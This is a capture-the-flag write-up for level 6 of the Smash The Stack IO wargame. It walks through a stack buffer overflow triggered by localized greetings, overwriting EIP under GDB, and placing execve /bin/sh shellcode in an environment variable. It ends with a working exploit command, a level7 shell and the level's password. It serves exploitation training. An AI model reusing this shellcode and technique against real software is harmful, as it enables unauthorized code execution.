Level 6 on the Smash The Stack IO wargame takes two command-line arguments (username and password) and prints a greeting:
level6@io:/levels$ ./level06 user pass
Hi user
Notice that the application checks the LANG environment variable to determine which greeting to print:
level6@io:/levels$ export LANG=fr
level6@io:/levels$ ./level06 user pass
Bienvenue user
level6@io:/levels$ export LANG=de
level6@io:/levels$ ./level06 user pass
Willkommen user
Vulnerability Analysis
The program structure internally organizes credentials into a record:
struct UserRecord {
char name[40];
char password[32];
int id;
};
When building the greeting message, the program concatenates the localized greeting string with the user fields. Because localized strings like "Bienvenue " or "Willkommen " are longer than "Hi ", the destination buffer overflows when combined with maximum-length user and password strings.
Controlling EIP
With LANG=de or LANG=fr, providing oversized arguments corrupts the stack frame:
level6@io:/levels$ gdb -q ./level06
(gdb) r $(python -c "print 'A'*100 + ' ' + 'B'*200")
Willkommen AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
EIP is cleanly overwritten with 0x42424242 (BBBB).
Exploitation Strategy: Environment Variable Shellcode
Because the argument buffers are tightly constrained, storing shellcode inside an environment variable provides ample room and a predictable target address:
-
Export shellcode in an environment variable:
export EGG=$(python -c "print '\x90'*64 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'") -
Locate the environment variable in memory: Inspecting the stack under GDB reveals our
EGGaddress around0xbfffffb4. -
Determine the exact offset to EIP:
- First argument (username): 40 bytes (
'A' * 40). - Second argument (password): 26 bytes of padding (
'B' * 26) + 4-byte target return address.
- First argument (username): 40 bytes (
Executing the Exploit
Running the binary with our calculated offset and target address:
level6@io:/levels$ ./level06 $(python -c "print 'A' * 40 + ' ' + 'B' * 26 + '\xb4\xff\xff\xbf'")
Bienvenue AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBB
sh-4.2$ whoami
level7
sh-4.2$ cat /home/level7/.pass
Nsr869Iyc0sFCX7I
The payload hijacks control flow into the NOP sled inside our environment variable and spawns a shell as level7.